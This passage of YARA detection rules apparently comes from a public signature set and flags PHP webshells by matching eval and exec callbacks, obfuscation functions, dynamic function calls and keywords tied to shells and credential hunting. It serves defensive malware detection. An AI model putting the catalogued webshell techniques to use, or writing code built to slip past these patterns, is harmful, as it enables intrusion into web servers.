		$callback9 = /\barray_udiff_assoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback10 = /\barray_udiff_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback11 = /\barray_udiff[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback12 = /\barray_uintersect_assoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback13 = /\barray_uintersect_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback14 = /\barray_uintersect[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback15 = /\barray_walk_recursive[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback16 = /\barray_walk[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback17 = /\bassert_options[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback18 = /\buasort[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback19 = /\buksort[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback20 = /\busort[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback21 = /\bpreg_replace_callback[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback22 = /\bspl_autoload_register[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback23 = /\biterator_apply[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback24 = /\bcall_user_func[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback25 = /\bcall_user_func_array[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback26 = /\bregister_shutdown_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback27 = /\bregister_tick_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback28 = /\bset_error_handler[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback29 = /\bset_exception_handler[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback30 = /\bsession_set_save_handler[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback31 = /\bsqlite_create_aggregate[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback32 = /\bsqlite_create_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback33 = /\bmb_ereg_replace_callback[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$m_callback1 = /\bfilter_var[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$m_callback2 = "FILTER_CALLBACK" fullword wide ascii
		$cfp1 = /ob_start\(['\"]ob_gzhandler/ nocase wide ascii
		$cfp2 = "IWPML_Backend_Action_Loader" ascii wide
		$cfp3 = "<?phpclass WPML" ascii
		$cpayload1 = /\beval[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload2 = /\bexec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload3 = /\bshell_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload4 = /\bpassthru[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload5 = /\bsystem[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload6 = /\bpopen[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload7 = /\bproc_open[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload8 = /\bpcntl_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload9 = /\bassert[\n\t ]{0,500}\([^)0]/ nocase wide ascii
		// $cpayload10 = /\bpreg_replace[\n\t ]{0,500}(\(.{1,|\/\*)100}\/[ismxADSUXju]{0,11}(e|\\x65)/ nocase wide ascii
		$cpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
		$cpayload13 = /\bmb_eregi_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
		$cpayload20 = /\bcreate_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload21 = /\bReflectionFunction[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload22 = /fetchall\(PDO::FETCH_FUNC[\n\t ]{0,500}[,}\)]/ nocase wide ascii
		$m_cpayload_preg_filter1 = /\bpreg_filter[\n\t ]{0,500}(\([^\)]|\/\*)/ nocase wide ascii
		$m_cpayload_preg_filter2 = "'|.*|e'" nocase wide ascii
		$cobfs1 = "gzinflate" fullword nocase wide ascii
		$cobfs2 = "gzuncompress" fullword nocase wide ascii
		$cobfs3 = "gzdecode" fullword nocase wide ascii
		$cobfs4 = "base64_decode" fullword nocase wide ascii
		$cobfs5 = "pack" fullword nocase wide ascii
		$cobfs6 = "undecode" fullword nocase wide ascii
		$gen_bit_sus1 = /:\s{0,20}eval}/ nocase wide ascii
		$gen_bit_sus2 = /\.replace\(\/\w\/g/ nocase wide ascii
		$gen_bit_sus6 = "self.delete"
		$gen_bit_sus9 = "\"cmd /c" nocase
		$gen_bit_sus10 = "\"cmd\"" nocase
		$gen_bit_sus11 = "\"cmd.exe" nocase
		$gen_bit_sus12 = "%comspec%" wide ascii
		$gen_bit_sus13 = "%COMSPEC%" wide ascii
		$gen_bit_sus18 = "Hklm.GetValueNames();" nocase
		$gen_bit_sus19 = "http://schemas.microsoft.com/exchange/" wide ascii
		$gen_bit_sus21 = "\"upload\"" wide ascii
		$gen_bit_sus22 = "\"Upload\"" wide ascii
		$gen_bit_sus23 = "UPLOAD" fullword wide ascii
		$gen_bit_sus24 = "fileupload" wide ascii
		$gen_bit_sus25 = "file_upload" wide ascii
		$gen_bit_sus29 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" fullword wide ascii
		$gen_bit_sus29b = "abcdefghijklmnopqrstuvwxyz234567" fullword wide ascii
		$gen_bit_sus30 = "serv-u" wide ascii
		$gen_bit_sus31 = "Serv-u" wide ascii
		$gen_bit_sus32 = "Army" fullword wide ascii
		$gen_bit_sus33 = /\$_(GET|POST|REQUEST)\["\w"\]/ fullword wide ascii
		$gen_bit_sus34 = "Content-Transfer-Encoding: Binary" wide ascii
		$gen_bit_sus35 = "crack" fullword wide ascii
		$gen_bit_sus44 = "<pre>" wide ascii
		$gen_bit_sus45 = "<PRE>" wide ascii
		$gen_bit_sus46 = "shell_" wide ascii
		$gen_bit_sus50 = "bypass" wide ascii
		$gen_bit_sus52 = " ^ $" wide ascii
		$gen_bit_sus53 = ".ssh/authorized_keys" wide ascii
		$gen_bit_sus55 = /\w'\.'\w/ wide ascii
		$gen_bit_sus56 = /\w\"\.\"\w/ wide ascii
		$gen_bit_sus57 = "dumper" wide ascii
		$gen_bit_sus59 = "'cmd'" wide ascii
		$gen_bit_sus60 = "\"execute\"" wide ascii
		$gen_bit_sus61 = "/bin/sh" wide ascii
		$gen_bit_sus62 = "Cyber" wide ascii
		$gen_bit_sus63 = "portscan" fullword wide ascii
		$gen_bit_sus66 = "whoami" fullword wide ascii
		$gen_bit_sus67 = "$password='" fullword wide ascii
		$gen_bit_sus68 = "$password=\"" fullword wide ascii
		$gen_bit_sus69 = "$cmd" fullword wide ascii
		$gen_bit_sus70 = "\"?>\"." fullword wide ascii
		$gen_bit_sus71 = "Hacking" fullword wide ascii
		$gen_bit_sus72 = "hacking" fullword wide ascii
		$gen_bit_sus73 = ".htpasswd" wide ascii
		$gen_bit_sus74 = /\btouch\(\$[^,]{1,30},/ wide ascii
		$gen_much_sus7 = "Web Shell" nocase
		$gen_much_sus8 = "WebShell" nocase
		$gen_much_sus3 = "hidded shell"
		$gen_much_sus4 = "WScript.Shell.1" nocase
		$gen_much_sus5 = "AspExec"
		$gen_much_sus14 = "\\pcAnywhere\\" nocase
		$gen_much_sus15 = "antivirus" nocase
		$gen_much_sus16 = "McAfee" nocase
		$gen_much_sus17 = "nishang"
		$gen_much_sus18 = "\"unsafe" fullword wide ascii
		$gen_much_sus19 = "'unsafe" fullword wide ascii
		$gen_much_sus24 = "exploit" fullword wide ascii
		$gen_much_sus25 = "Exploit" fullword wide ascii
		$gen_much_sus26 = "TVqQAAMAAA" wide ascii
		$gen_much_sus30 = "Hacker" wide ascii
		$gen_much_sus31 = "HACKED" fullword wide ascii
		$gen_much_sus32 = "hacked" fullword wide ascii
		$gen_much_sus33 = "hacker" wide ascii
		$gen_much_sus34 = "grayhat" nocase wide ascii
		$gen_much_sus35 = "Microsoft FrontPage" wide ascii
		$gen_much_sus36 = "Rootkit" wide ascii
		$gen_much_sus37 = "rootkit" wide ascii
		$gen_much_sus38 = "/*-/*-*/" wide ascii
		$gen_much_sus39 = "u\"+\"n\"+\"s" wide ascii
		$gen_much_sus40 = "\"e\"+\"v" wide ascii
		$gen_much_sus41 = "a\"+\"l\"" wide ascii
		$gen_much_sus42 = "\"+\"(\"+\"" wide ascii
		$gen_much_sus43 = "q\"+\"u\"" wide ascii
		$gen_much_sus44 = "\"u\"+\"e" wide ascii
		$gen_much_sus45 = "/*//*/" wide ascii
		$gen_much_sus46 = "(\"/*/\"" wide ascii
		$gen_much_sus47 = "eval(eval(" wide ascii
		$gen_much_sus48 = "unlink(__FILE__)" wide ascii
		$gen_much_sus49 = "Shell.Users" wide ascii
		$gen_much_sus50 = "PasswordType=Regular" wide ascii
		$gen_much_sus51 = "-Expire=0" wide ascii
		$gen_much_sus60 = "_=$$_" wide ascii
		$gen_much_sus61 = "_=$$_" wide ascii
		$gen_much_sus62 = "++;$" wide ascii
		$gen_much_sus63 = "++; $" wide ascii
		$gen_much_sus64 = "_.=$_" wide ascii
		$gen_much_sus70 = "-perm -04000" wide ascii
		$gen_much_sus71 = "-perm -02000" wide ascii
		$gen_much_sus72 = "grep -li password" wide ascii
		$gen_much_sus73 = "-name config.inc.php" wide ascii
		$gen_much_sus75 = "password crack" wide ascii
		$gen_much_sus76 = "mysqlDll.dll" wide ascii
		$gen_much_sus77 = "net user" wide ascii
		$gen_much_sus80 = "fopen(\".htaccess\",\"w" wide ascii
		$gen_much_sus81 = /strrev\(['"]/ wide ascii
		$gen_much_sus82 = "PHPShell" fullword wide ascii
		$gen_much_sus821 = "PHP Shell" fullword wide ascii
		$gen_much_sus83 = "phpshell" fullword wide ascii
		$gen_much_sus84 = "PHPshell" fullword wide ascii
		$gen_much_sus87 = "deface" wide ascii
		$gen_much_sus88 = "Deface" wide ascii
		$gen_much_sus89 = "backdoor" wide ascii
		$gen_much_sus90 = "r00t" fullword wide ascii
		$gen_much_sus91 = "xp_cmdshell" fullword wide ascii
		$gen_much_sus92 = "base64_decode(base64_decode(" fullword wide ascii
		$gen_much_sus93 = "eval(\"/*" wide ascii
		$gen_much_sus94 = "=$_COOKIE;" wide ascii
		$gif = { 47 49 46 38 }

	condition:
		(( ( $php_short in ( 0 .. 100 ) or $php_short in ( filesize - 1000 .. filesize ) ) and not any of ( $no_* ) ) or any of ( $php_new* ) ) and ( ( not any of ( $cfp* ) and ( any of ( $callback* ) or all of ( $m_callback* ) ) ) or ( any of ( $cpayload* ) or all of ( $m_cpayload_preg_filter* ) ) ) and ( any of ( $cobfs* ) ) and ( filesize < 1KB or ( filesize < 3KB and ( ( $gif at 0 or ( filesize < 4KB and ( 1 of ( $gen_much_sus* ) or 2 of ( $gen_bit_sus* ) ) ) or ( filesize < 20KB and ( 2 of ( $gen_much_sus* ) or 3 of ( $gen_bit_sus* ) ) ) or ( filesize < 50KB and ( 2 of ( $gen_much_sus* ) or 4 of ( $gen_bit_sus* ) ) ) or ( filesize < 100KB and ( 2 of ( $gen_much_sus* ) or 6 of ( $gen_bit_sus* ) ) ) or ( filesize < 150KB and ( 3 of ( $gen_much_sus* ) or 7 of ( $gen_bit_sus* ) ) ) or ( filesize < 500KB and ( 4 of ( $gen_much_sus* ) or 8 of ( $gen_bit_sus* ) ) ) ) or #obf1 > 10 ) ) )
}

rule WEBSHELL_PHP_Includer_Eval
{
	meta:
		description = "PHP webshell which eval()s another included file"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/01/13"
		modified = "2023-04-05"
		hash = "3a07e9188028efa32872ba5b6e5363920a6b2489"
		hash = "ab771bb715710892b9513b1d075b4e2c0931afb6"
		hash = "202dbcdc2896873631e1a0448098c820c82bcc8385a9f7579a0dc9702d76f580"
		hash = "b51a6d208ec3a44a67cce16dcc1e93cdb06fe150acf16222815333ddf52d4db8"
		id = "995fcc34-f91e-5c9c-97b1-84eed1714d40"

	strings:
		$payload1 = "eval" fullword wide ascii
		$payload2 = "assert" fullword wide ascii
		$include1 = "$_FILE" wide ascii
		$include2 = "include" wide ascii
		$php_short = "<?" wide ascii
		$no_xml1 = "<?xml version" nocase wide ascii
		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
		$no_pdf = "<?xpacket"
		$php_new1 = /<\?=[^?]/ wide ascii
		$php_new2 = "<?php" nocase wide ascii
		$php_new3 = "<script language=\"php" nocase wide ascii

	condition:
		filesize < 200 and ( ( ( $php_short in ( 0 .. 100 ) or $php_short in ( filesize - 1000 .. filesize ) ) and not any of ( $no_* ) ) or any of ( $php_new* ) ) and 1 of ( $payload* ) and 1 of ( $include* )
}

rule WEBSHELL_PHP_Includer_Tiny
{
	meta:
		description = "Suspicious: Might be PHP webshell includer, check the included file"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/04/17"
		modified = "2023-07-05"
		hash = "0687585025f99596508783b891e26d6989eec2ba"
		hash = "9e856f5cb7cb901b5003e57c528a6298341d04dc"
		hash = "b3b0274cda28292813096a5a7a3f5f77378b8905205bda7bb7e1a679a7845004"
		id = "9bf96ddc-d984-57eb-9803-0b01890711b5"

	strings:
		$php_include1 = /include\(\$_(GET|POST|REQUEST)\[/ nocase wide ascii
		$php_short = "<?" wide ascii
		$no_xml1 = "<?xml version" nocase wide ascii
		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
		$no_pdf = "<?xpacket"
		$php_new1 = /<\?=[^?]/ wide ascii
		$php_new2 = "<?php" nocase wide ascii
		$php_new3 = "<script language=\"php" nocase wide ascii

	condition:
		filesize < 100 and ( ( ( $php_short in ( 0 .. 100 ) or $php_short in ( filesize - 1000 .. filesize ) ) and not any of ( $no_* ) ) or any of ( $php_new* ) ) and any of ( $php_include* )
}

rule WEBSHELL_PHP_Dynamic
{
	meta:
		description = "PHP webshell using function name from variable, e.g. $a='ev'.'al'; $a($code)"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		date = "2021/01/13"
		modified = "2023-10-06"
		score = 60
		hash = "65dca1e652d09514e9c9b2e0004629d03ab3c3ef"
		hash = "b8ab38dc75cec26ce3d3a91cb2951d7cdd004838"
		hash = "c4765e81550b476976604d01c20e3dbd415366df"
		hash = "2e11ba2d06ebe0aa818e38e24a8a83eebbaae8877c10b704af01bf2977701e73"
		id = "58ad94bc-93c8-509c-9d3a-c9a26538d60c"

	strings:
		$pd_fp1 = "whoops_add_stack_frame" wide ascii
		$pd_fp2 = "new $ec($code, $mode, $options, $userinfo);" wide ascii
		$pd_fp3 = "($i)] = 600;" ascii
		$php_short = "<?" wide ascii
		$no_xml1 = "<?xml version" nocase wide ascii
		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
		$no_pdf = "<?xpacket"
		$php_new1 = /<\?=[^?]/ wide ascii
		$php_new2 = "<?php" nocase wide ascii
		$php_new3 = "<script language=\"php" nocase wide ascii
		$dynamic1 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(\$/ wide ascii
		$dynamic2 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\("/ wide ascii
		$dynamic3 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\('/ wide ascii
		$dynamic4 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(str/ wide ascii
		$dynamic5 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(\)/ wide ascii
		$dynamic6 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(@/ wide ascii
		$dynamic7 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(base64_decode/ wide ascii
		$dynamic8 = /\${[^}]{1,20}}(\[[^\]]{1,20}\])?\(\${/ wide ascii
		$fp1 = { 3C 3F 70 68 70 0A 0A 24 61 28 24 62 20 3D 20 33 2C 20 24 63 29 3B }
		$fp2 = { 3C 3F 70 68 70 0A 0A 24 61 28 24 62 20 3D 20 33 2C 20 2E 2E 2E 20 24 63 29 3B }
		$fp3 = { 3C 3F 70 68 70 0A 0A 24 61 20 3D 20 6E 65 77 20 73 74 61 74 69 63 3A 3A 24 62 28 29 3B}
		$fp4 = { 3C 3F 70 68 70 0A 0A 24 61 20 3D 20 6E 65 77 20 73 65 6C 66 3A 3A 24 62 28 29 3B }
		$fp5 = { 3C 3F 70 68 70 0A 0A 24 61 20 3D 20 5C 22 7B 24 76 61 72 43 61 6C 6C 61 62 6C 65 28 29 7D 5C 22 3B }
		$fp6 = "// TODO error about missing expression"
		$fp7 = "// This is an invalid location for an attribute, "
		$fp8 = "/* Auto-generated from php/php-langspec tests */"

	condition:
		filesize > 20 and filesize < 200 and ( ( ( $php_short in ( 0 .. 100 ) or $php_short in ( filesize - 1000 .. filesize ) ) and not any of ( $no_* ) ) or any of ( $php_new* ) ) and ( any of ( $dynamic* ) ) and not any of ( $pd_fp* ) and not 1 of ( $fp* )
}

import "math"

rule WEBSHELL_PHP_Dynamic_Big
{
	meta:
		description = "PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		date = "2021/02/07"
		modified = "2024-02-23"
		score = 50
		hash = "6559bfc4be43a55c6bb2bd867b4c9b929713d3f7f6de8111a3c330f87a9b302c"
		hash = "9e82c9c2fa64e26fd55aa18f74759454d89f968068d46b255bd4f41eb556112e"
		hash = "6def5296f95e191a9c7f64f7d8ac5c529d4a4347ae484775965442162345dc93"
		hash = "dadfdc4041caa37166db80838e572d091bb153815a306c8be0d66c9851b98c10"
		hash = "0a4a292f6e08479c04e5c4fdc3857eee72efa5cd39db52e4a6e405bf039928bd"
		hash = "4326d10059e97809fb1903eb96fd9152cc72c376913771f59fa674a3f110679e"
		hash = "b49d0f942a38a33d2b655b1c32ac44f19ed844c2479bad6e540f69b807dd3022"
		hash = "575edeb905b434a3b35732654eedd3afae81e7d99ca35848c509177aa9bf9eef"
		hash = "ee34d62e136a04e2eaf84b8daa12c9f2233a366af83081a38c3c973ab5e2c40f"
		id = "a5caab93-7b94-59d7-bbca-f9863e81b9e5"

	strings:
		$dex = { 64 65 ( 78 | 79 ) 0a 30 }
		$pack = { 50 41 43 4b 00 00 00 02 00 }
		$new_php2 = "<?php" nocase wide ascii
		$new_php3 = "<script language=\"php" nocase wide ascii
		$php_short = "<?"
		$dynamic1 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(\$/ wide ascii
		$dynamic2 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\("/ wide ascii
		$dynamic3 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\('/ wide ascii
		$dynamic4 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(str/ wide ascii
		$dynamic5 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(\)/ wide ascii
		$dynamic6 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(@/ wide ascii
		$dynamic7 = /\$[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff\[\]'"]{0,20}\s{0,20}\(base64_decode/ wide ascii
		$dynamic8 = "eval(" wide ascii
		$gen_bit_sus1 = /:\s{0,20}eval}/ nocase wide ascii
		$gen_bit_sus2 = /\.replace\(\/\w\/g/ nocase wide ascii
		$gen_bit_sus6 = "self.delete"
		$gen_bit_sus9 = "\"cmd /c" nocase
		$gen_bit_sus10 = "\"cmd\"" nocase
		$gen_bit_sus11 = "\"cmd.exe" nocase
		$gen_bit_sus12 = "%comspec%" wide ascii
		$gen_bit_sus13 = "%COMSPEC%" wide ascii
		$gen_bit_sus18 = "Hklm.GetValueNames();" nocase
		$gen_bit_sus19 = "http://schemas.microsoft.com/exchange/" wide ascii
		$gen_bit_sus21 = "\"upload\"" wide ascii
		$gen_bit_sus22 = "\"Upload\"" wide ascii
		$gen_bit_sus23 = "UPLOAD" fullword wide ascii
		$gen_bit_sus24 = "fileupload" wide ascii
		$gen_bit_sus25 = "file_upload" wide ascii
		$gen_bit_sus27 = "zuncomp" wide ascii
		$gen_bit_sus28 = "ase6" wide ascii
		$gen_bit_sus29 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" fullword wide ascii
		$gen_bit_sus29b = "abcdefghijklmnopqrstuvwxyz234567" fullword wide ascii
		$gen_bit_sus30 = "serv-u" wide ascii
		$gen_bit_sus31 = "Serv-u" wide ascii
		$gen_bit_sus32 = "Army" fullword wide ascii
		$gen_bit_sus33 = /\$_(GET|POST|REQUEST)\["\w"\]/ fullword wide ascii
		$gen_bit_sus34 = "Content-Transfer-Encoding: Binary" wide ascii
		$gen_bit_sus35 = "crack" fullword wide ascii
		$gen_bit_sus44 = "<pre>" wide ascii
		$gen_bit_sus45 = "<PRE>" wide ascii
		$gen_bit_sus46 = "shell_" wide ascii
		$gen_bit_sus50 = "bypass" wide ascii
		$gen_bit_sus52 = " ^ $" wide ascii
		$gen_bit_sus53 = ".ssh/authorized_keys" wide ascii
		$gen_bit_sus55 = /\w'\.'\w/ wide ascii
		$gen_bit_sus56 = /\w\"\.\"\w/ wide ascii
		$gen_bit_sus57 = "dumper" wide ascii
		$gen_bit_sus59 = "'cmd'" wide ascii
		$gen_bit_sus60 = "\"execute\"" wide ascii
		$gen_bit_sus61 = "/bin/sh" wide ascii
		$gen_bit_sus62 = "Cyber" wide ascii
		$gen_bit_sus63 = "portscan" fullword wide ascii
		$gen_bit_sus65 = "whoami" fullword wide ascii
		$gen_bit_sus67 = "$password='" fullword wide ascii
		$gen_bit_sus68 = "$password=\"" fullword wide ascii
		$gen_bit_sus69 = "$cmd" fullword wide ascii
		$gen_bit_sus70 = "\"?>\"." fullword wide ascii
		$gen_bit_sus71 = "Hacking" fullword wide ascii
		$gen_bit_sus72 = "hacking" fullword wide ascii
		$gen_bit_sus73 = ".htpasswd" wide ascii
		$gen_bit_sus74 = /\btouch\(\$[^,]{1,30},/ wide ascii
		$gen_bit_sus99 = "$password = " wide ascii
		$gen_bit_sus100 = "();$" wide ascii
		$gen_much_sus7 = "Web Shell" nocase
		$gen_much_sus8 = "WebShell" nocase
		$gen_much_sus3 = "hidded shell"
		$gen_much_sus4 = "WScript.Shell.1" nocase
		$gen_much_sus5 = "AspExec"
		$gen_much_sus14 = "\\pcAnywhere\\" nocase
		$gen_much_sus15 = "antivirus" nocase
		$gen_much_sus16 = "McAfee" nocase
		$gen_much_sus17 = "nishang"
		$gen_much_sus18 = "\"unsafe" fullword wide ascii
		$gen_much_sus19 = "'unsafe" fullword wide ascii
		$gen_much_sus24 = "exploit" fullword wide ascii
		$gen_much_sus25 = "Exploit" fullword wide ascii
		$gen_much_sus26 = "TVqQAAMAAA" wide ascii
		$gen_much_sus30 = "Hacker" wide ascii
		$gen_much_sus31 = "HACKED" fullword wide ascii
		$gen_much_sus32 = "hacked" fullword wide ascii
		$gen_much_sus33 = "hacker" wide ascii
		$gen_much_sus34 = "grayhat" nocase wide ascii
		$gen_much_sus35 = "Microsoft FrontPage" wide ascii
		$gen_much_sus36 = "Rootkit" wide ascii
		$gen_much_sus37 = "rootkit" wide ascii
		$gen_much_sus38 = "/*-/*-*/" wide ascii
		$gen_much_sus39 = "u\"+\"n\"+\"s" wide ascii
		$gen_much_sus40 = "\"e\"+\"v" wide ascii
		$gen_much_sus41 = "a\"+\"l\"" wide ascii
		$gen_much_sus42 = "\"+\"(\"+\"" wide ascii
		$gen_much_sus43 = "q\"+\"u\"" wide ascii
		$gen_much_sus44 = "\"u\"+\"e" wide ascii
		$gen_much_sus45 = "/*//*/" wide ascii
		$gen_much_sus46 = "(\"/*/\"" wide ascii
		$gen_much_sus47 = "eval(eval(" wide ascii
		$gen_much_sus48 = "unlink(__FILE__)" wide ascii
		$gen_much_sus49 = "Shell.Users" wide ascii
		$gen_much_sus50 = "PasswordType=Regular" wide ascii
		$gen_much_sus51 = "-Expire=0" wide ascii
		$gen_much_sus60 = "_=$$_" wide ascii
		$gen_much_sus61 = "_=$$_" wide ascii
		$gen_much_sus62 = "++;$" wide ascii
		$gen_much_sus63 = "++; $" wide ascii
		$gen_much_sus64 = "_.=$_" wide ascii
		$gen_much_sus70 = "-perm -04000" wide ascii
		$gen_much_sus71 = "-perm -02000" wide ascii
		$gen_much_sus72 = "grep -li password" wide ascii
		$gen_much_sus73 = "-name config.inc.php" wide ascii
		$gen_much_sus75 = "password crack" wide ascii
		$gen_much_sus76 = "mysqlDll.dll" wide ascii
		$gen_much_sus77 = "net user" wide ascii
		$gen_much_sus80 = "fopen(\".htaccess\",\"w" wide ascii
		$gen_much_sus81 = /strrev\(['"]/ wide ascii
		$gen_much_sus82 = "PHPShell" fullword wide ascii
		$gen_much_sus821 = "PHP Shell" fullword wide ascii
		$gen_much_sus83 = "phpshell" fullword wide ascii
		$gen_much_sus84 = "PHPshell" fullword wide ascii
		$gen_much_sus87 = "deface" wide ascii
		$gen_much_sus88 = "Deface" wide ascii
		$gen_much_sus89 = "backdoor" wide ascii
		$gen_much_sus90 = "r00t" fullword wide ascii
		$gen_much_sus91 = "xp_cmdshell" fullword wide ascii
		$gen_much_sus92 = "DEFACE" fullword wide ascii
		$gen_much_sus93 = "Bypass" fullword wide ascii
		$gen_much_sus94 = /eval\s{2,20}\(/ nocase wide ascii
		$gen_much_sus100 = "rot13" wide ascii
		$gen_much_sus101 = "ini_set('error_log'" wide ascii
		$gen_much_sus102 = "base64_decode(base64_decode(" wide ascii
		$gen_much_sus103 = "=$_COOKIE;" wide ascii
		$gen_much_sus104 = { C0 A6 7B 3? 7D 2E 24 }
		$gen_much_sus105 = "$GLOBALS[\"__" wide ascii
		$gen_much_sus106 = ")-0)" wide ascii
		$gen_much_sus107 = "-0)+" wide ascii
		$gen_much_sus108 = "+0)+" wide ascii
		$gen_much_sus109 = "+(0/" wide ascii
		$gen_much_sus110 = "+(0+" wide ascii
		$gen_much_sus111 = "extract($_REQUEST)" wide ascii
		$gen_much_sus112 = "<?php\t\t\t\t\t\t\t\t\t\t\t" wide ascii
		$gen_much_sus113 = "\t\t\t\t\t\t\t\t\t\t\textract" wide ascii
		$gen_much_sus114 = "\" .\"" wide ascii
		$gen_much_sus115 = "end($_POST" wide ascii
		$weevely1 = /';\n\$\w\s?=\s?'/ wide ascii
		$weevely2 = /';\x0d\n\$\w\s?=\s?'/ wide ascii
		$weevely3 = /';\$\w{1,2}='/ wide ascii
		$weevely4 = "str_replace" fullword wide ascii
		$gif = { 47 49 46 38 }
		$fp1 = "# Some examples from obfuscated malware:" ascii
		$fp2 = "* @package   PHP_CodeSniffer" ascii
		$fp3 = ".jQuery===" ascii
		$fp4 = "* @param string $lstat encoded LStat string" ascii

	condition:
